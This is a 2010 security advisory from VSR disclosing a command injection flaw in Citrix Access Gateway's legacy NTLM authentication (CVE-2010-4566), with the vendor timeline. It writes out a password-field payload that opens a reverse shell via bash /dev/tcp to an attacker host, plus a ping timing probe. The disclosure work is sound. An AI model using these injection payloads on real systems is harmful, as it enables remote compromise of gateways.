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VSR Advisories: Citrix Access Gateway Command Injection Vulnerability
VSR Security Advisory
Advisory Name: Citrix Access Gateway Command Injection Vulnerability
Release Date: 2010-12-21
Application: Citrix Access Gateway
Versions: Access Gateway Enterprise Edition (up to 9.2-49.8)
Access Gateway Standard & Advanced Edition (prior to 5.0)
Author: George D. Gal <ggal (at) vsecurity (dot) com>
Vendor Status: Updated Software Released, NT4 Authentication Removed 
CVE Candidate: CVE-2010-4566
"Citrix(R) Access Gateway(TM) is a secure application access solution that
provides administrators granular application-level control while
empowering users with remote access from anywhere. It gives IT
administrators a single point to manage access control and limit actions
within sessions based on both user identity and the endpoint device,
providing better application security, data protection, and compliance
On August 2nd, VSR identified a vulnerability in Citrix Access Gateway within
the way user authentication credentials are handled. Under certain
configuration settings it appears that user credentials are passed as
arguments to a command line program to authenticate the user. A lack of data
validation and the mechanism in which the external program is spawned results
in the potential for command injection and arbitrary command execution on the
The Citrix Access Gateway provides support for multiple authentication types.
When utilizing the external legacy NTLM authentication module known as
ntlm_authenticator the Access Gateway spawns the Samba 'samedit' command
line utility to verify a user's identity and password. By embedding shell
metacharacters in the web authentication form it is possible to execute
arbitrary commands on the Access Gateway.
The following commands are executed by the ntlm_authenticator during this
vpnadmin 10130 0.0 0.0 2104 976 ? S 15:02 0:00 sh -c /usr/local/samba/bin/samedit -c 'samuser username -a' -U <<username>>%<<password>> -p 139 -S xxx.xxx.xxx.xxx > /tmp/samedit-samuser-stdout.50474096 2> /dev/null
vpnadmin 10131 0.0 0.1 3852 1528 ? S 15:02 0:00 /usr/local/samba/bin/samedit -c samuser username -a -U <<username>>%XXXXXXXX -p 139 -S xxx.xxx.xxx.xxx
By submitting a password value as shown below, it is possible to establish a
reverse shell to a netcat listener:
| bash -i >& /dev/tcp/<<HOST>>/<<PORT>> 0>&1 &
Using a simple ping command in the password field an attacker could use timing
attacks to verify the presence of the vulnerability:
| ping -c 10 <<HOST>>
The ping command above will attempt to send 10 ICMP echo requests to the
target host, resulting in a noticable delay easily detected by vulnerability
Testing was performed against a Citrix Access Gateway 2000 version 4.5.7.
According to the vendor this vulnerability affects all versions of Access
Gateway Enterprise Edition up to version 9.2-49.8, and all versions of
the Access Gateway Standard and Advanced Editions prior to Access Gateway
The following timeline details the vendor's response to the reported issue:
2010-08-06 Citrix was provided a draft advisory.
2010-08-10 Citrix acknowledged receipt of draft advisory.
2010-08-16 VSR follow-up to determine confirmation of issue.
2010-08-16 Citrix confirmed issue.
2010-09-14 VSR follow-up to determine status of issue.
2010-09-29 VSR follow-up to determine status of issue.
2010-09-30 Citrix confirmed continued investigation of the issue.
2010-10-19 VSR follow-up to determine status of issue.
2010-10-26 Citrix verified issue only exists in NT4 authentication feature.
2010-12-01 VSR follow-up to determine status of issue.
2010-12-02 Citrix confirmed December 14th release of security bulletin.
2010-12-14 Citrix releases security bulletin.
2010-12-20 CVE assigned
2010-12-21 VSR releases advisory.
The Citrix advisory may be obtained at:
Citrix has indicated that this vulnerability only affects legacy NT4
authentication which has been removed from the latest release of the
Common Vulnerabilities and Exposures (CVE) Information
The Common Vulnerabilities and Exposures (CVE) project has assigned
the number CVE-2010-4566 to this issue. This is a candidate for
inclusion in the CVE list (http://cve.mitre.org), which standardizes
names for security problems.
VSR would like to thank Citrix for the coordinated release of this advisory.
1. Citrix Access Gateway
2. Citrix Access Gateway - Vendor Security Bulletin
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